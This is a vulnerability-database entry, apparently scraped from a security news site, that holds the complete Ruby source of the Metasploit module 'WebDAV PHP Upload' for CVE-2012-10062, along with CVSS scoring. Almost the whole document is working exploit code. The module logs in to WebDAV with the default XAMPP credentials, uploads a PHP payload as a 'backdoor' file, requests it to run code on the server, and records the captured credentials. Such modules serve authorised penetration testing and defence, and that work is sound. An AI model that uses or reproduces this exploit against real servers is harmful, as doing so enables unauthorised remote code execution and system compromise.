{“lastseen”:”2026-04-21T19:28:03″,”description”:”This module exploits WebDAV which also has PHP enabled, such as found on XAMPP servers. It can use do by using any supplied credentials to upload via WebDAV, a PHP payload and then execute it. Module Options msf use exploit\/multi\/http\/webdavuploadphp…”,”published”:”2026-04-21T19:02:45″,”modified”:”2026-04-21T19:02:45″,”type”:”metasploit”,”title”:”WebDAV PHP Upload”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-WEBDAV_UPLOAD_PHP-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2012-10062″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::EXE\\n include Msf::Exploit::FileDropper\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/windows\/http\/xampp_webdav_upload_php’\\n\\n def initialize(_info = {})\\n super(\\n ‘Name’ =\\u003e ‘WebDAV PHP Upload’,\\n ‘Description’ =\\u003e %q{\\n This module exploits WebDAV which also has PHP enabled,\\n such as found on XAMPP servers.\\n It can use do by using any supplied credentials to upload via WebDAV,\\n a PHP payload and then execute it.\\n },\\n ‘Author’ =\\u003e [\\n ‘theLightCosine’,\\n ‘g0tmi1k’ # @g0tmi1k \/\/ https:\/\/blog.g0tmi1k.com\/ – additional features\\n ],\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP,\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ],\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2012-01-14’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘References’ =\\u003e [\\n [ ‘CVE’, ‘2012-10062’ ]\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION]\\n }\\n )\\n\\n register_options(\\n [\\n OptString.new(‘URI’, [ true, ‘The URI path to attempt to upload’, ‘\/webdav\/’ ]),\\n OptString.new(‘FILENAME’, [ false, ‘The filename to give the payload. (Leave blank for random)’ ]),\\n OptString.new(‘USERNAME’, [ false, ‘The HTTP username to specify for authentication’, ‘wampp’ ]),\\n OptString.new(‘PASSWORD’, [ false, ‘The HTTP password to specify for authentication’, ‘xampp’ ])\\n ]\\n )\\n end\\n\\n def build_res_creds\\n if !datastore[‘USERNAME’].to_s.empty?\\n vprint_status ‘Using credentials for WebDAV’\\n {\\n ‘username’ =\\u003e datastore[‘USERNAME’],\\n ‘password’ =\\u003e datastore[‘PASSWORD’]\\n }\\n else\\n vprint_status ‘Anonymous authentication for WebDAV’\\n {}\\n end\\n end\\n\\n def print_res_code(res, res_creds)\\n if res.code == 401\\n print_warning ‘Creds may be required’ if res_creds.empty?\\n print_warning ‘Creds may be incorrect’ if !res_creds.empty?\\n end\\n end\\n\\n def report_webdav_service(res, creds)\\n header_server = res.headers[‘Server’].to_s.strip\\n vprint_status \\”Server: #{header_server}\\”\\n\\n opts = {\\n ip: rhost,\\n port: rport,\\n service_name: ‘webdav’,\\n proto: ‘tcp’,\\n proof: res.code.to_s\\n }.merge(creds.transform_keys(\\u0026:to_sym))\\n\\n service = report_service(\\n host: opts[:ip],\\n port: opts[:port],\\n proto: opts[:proto],\\n name: opts[:service_name],\\n info: header_server,\\n parents: {\\n name: ssl ? ‘https’ : ‘http’,\\n host: opts[:ip],\\n port: opts[:port],\\n proto: opts[:proto],\\n parents: {\\n name: ‘tcp’,\\n host: opts[:ip],\\n port: opts[:port],\\n proto: opts[:proto],\\n parents: nil\\n }\\n }\\n )\\n\\n [opts, service]\\n end\\n\\n def report_webdav_creds(opts, service)\\n # XXXX Otherwise `vuln`’s \\”Service\\” is \\”none\\” when doing check(), and different when doing exploit()\\n report_vuln(\\n host: opts[:ip],\\n service: service,\\n name: name\\n )\\n\\n service_data = {\\n address: opts[:ip],\\n port: opts[:port],\\n service_name: opts[:service_name],\\n protocol: opts[:proto],\\n workspace_id: myworkspace_id\\n }\\n\\n credential_data = {\\n origin_type: :service,\\n module_fullname: fullname,\\n username: opts[:username],\\n private_data: opts[:password],\\n private_type: :password\\n }.merge service_data\\n\\n login_data = {\\n last_attempted_at: DateTime.now,\\n core: create_credential(credential_data),\\n status: Metasploit::Model::Login::Status::SUCCESSFUL,\\n proof: opts[:proof]\\n }.merge service_data\\n\\n create_credential_login login_data\\n end\\n\\n def check\\n test_file = rand_text_alphanumeric(rand(8..15)) + ‘.php’\\n test_url = normalize_uri(datastore[‘URI’], test_file)\\n payload = rand_text_alphanumeric(rand(8..15))\\n res_creds = build_res_creds\\n\\n # Check\\n vprint_status \\”Checking for WebDAV: #{datastore[‘URI’]}\\”\\n res = send_request_raw({\\n ‘uri’ =\\u003e normalize_uri(datastore[‘URI’]),\\n ‘method’ =\\u003e ‘OPTIONS’\\n }.merge(res_creds), 10)\\n return Exploit::CheckCode::Unknown unless res\\n\\n unless res.code == 200\\n print_error \\”Target responded: HTTP #{res.code}, should be 200\\”\\n print_res_code(res, res_creds)\\n return Exploit::CheckCode::Unknown\\n end\\n\\n # Record results!\\n opts, service = report_webdav_service(res, res_creds)\\n\\n # First see if it already exists (it really shouldn’t)\\n vprint_status \\”Checking for test file: #{test_url}\\”\\n res = send_request_raw({\\n ‘uri’ =\\u003e test_url\\n }.merge(res_creds), 10)\\n return Exploit::CheckCode::Unknown unless res\\n return Exploit::CheckCode::Unknown(\\”The test file may already exists (HTTP #{res.code})\\”) unless res.code == 404 # Need to try again with a different file\\n\\n # Try to create it\\n vprint_status \\”Attempting to upload: #{test_url}\\”\\n res = send_request_cgi({\\n ‘uri’ =\\u003e test_url,\\n ‘method’ =\\u003e ‘PUT’,\\n ‘data’ =\\u003e payload\\n }.merge(res_creds), 10)\\n return Exploit::CheckCode::Unknown unless res\\n\\n ## Often its HTTP 201\\n unless res.code.to_i.between?(200, 299)\\n print_error \\”Error with upload request (HTTP #{res.code}, should be 2xx)\\”\\n print_res_code(res, res_creds)\\n return Exploit::CheckCode::Safe\\n end\\n\\n # Record results!\\n report_webdav_creds(opts, service)\\n\\n # Try to run it\\n vprint_status \\”Checking if created: #{test_url}\\”\\n res = send_request_cgi({\\n ‘uri’ =\\u003e test_url\\n }.merge(res_creds))\\n return Exploit::CheckCode::Unknown unless res\\n return Exploit::CheckCode::Safe(\\”Error with exploit request (HTTP #{res.code}, should be 2xx)\\”) unless res.code.to_i.between?(200, 299)\\n return Exploit::CheckCode::Safe(\\”Error with exploit request (Response doesn’t match payload) – Missing PHP?\\”) unless res.body.to_s.include?(payload)\\n\\n # Clean up\\n vprint_status \\”Attempting to delete: #{test_url}\\”\\n res = send_request_cgi({\\n ‘uri’ =\\u003e test_url,\\n ‘method’ =\\u003e ‘DELETE’\\n }.merge(res_creds), 10)\\n return Exploit::CheckCode::Unknown unless res\\n\\n # Exploit uses cmd to delete via file system, not HTTP DELETE request\\n print_warning \\”Error with delete request (HTTP #{res.code}, should be 204) – Can’t clean up\\” unless res.code == 204\\n\\n # Done\\n return Exploit::CheckCode::Vulnerable\\n end\\n\\n def exploit\\n uri = build_path\\n res_creds = build_res_creds\\n\\n print_status \\”Uploading payload: #{uri}\\”\\n res = send_request_cgi({\\n ‘uri’ =\\u003e uri,\\n ‘method’ =\\u003e ‘PUT’,\\n ‘data’ =\\u003e payload.raw\\n }.merge(res_creds), 10)\\n ## Often its HTTP 201\\n unless res\\u0026.code\\u0026.between?(200, 299)\\n print_error ‘Failed to upload file!’\\n\\n if res\\n print_error \\”Error with upload request (HTTP #{res.code}, should be 2xx)\\”\\n print_res_code(res, res_creds)\\n else\\n print_error ‘No response received from server’\\n end\\n\\n return\\n end\\n\\n # Record results!\\n opts, service = report_webdav_service(res, res_creds)\\n report_webdav_creds(opts, service)\\n\\n print_status ‘Attempting to execute payload’\\n # Very short timeout because the request may never return if we’re sending a socket payload\\n send_request_cgi({\\n ‘uri’ =\\u003e uri,\\n ‘method’ =\\u003e ‘GET’\\n }.merge(res_creds), 0.01)\\n\\n register_file_for_cleanup(@backdoor)\\n end\\n\\n def build_path\\n uri_path = normalize_uri(datastore[‘URI’])\\n uri_path \\u003c\\u003c ‘\/’ unless uri_path.ends_with?(‘\/’)\\n\\n @backdoor = datastore[‘FILENAME’] || Rex::Text.rand_text_alphanumeric(7)\\n @backdoor \\u003c\\u003c ‘.php’ unless @backdoor.end_with?(‘.php’)\\n uri_path \\u003c\\u003c @backdoor\\n\\n return uri_path\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/webdav_upload_php.rb”,”cvss”:{“score”:8.7,”severity”:”HIGH”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:L\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/webdav_upload_php\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-21T19:28:03″,”description”:”This module exploits WebDAV which also has PHP enabled, such as found on XAMPP servers. It can use do by using any supplied credentials to…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,15,169,13,7,11,5],"class_list":["post-48360","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-high","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n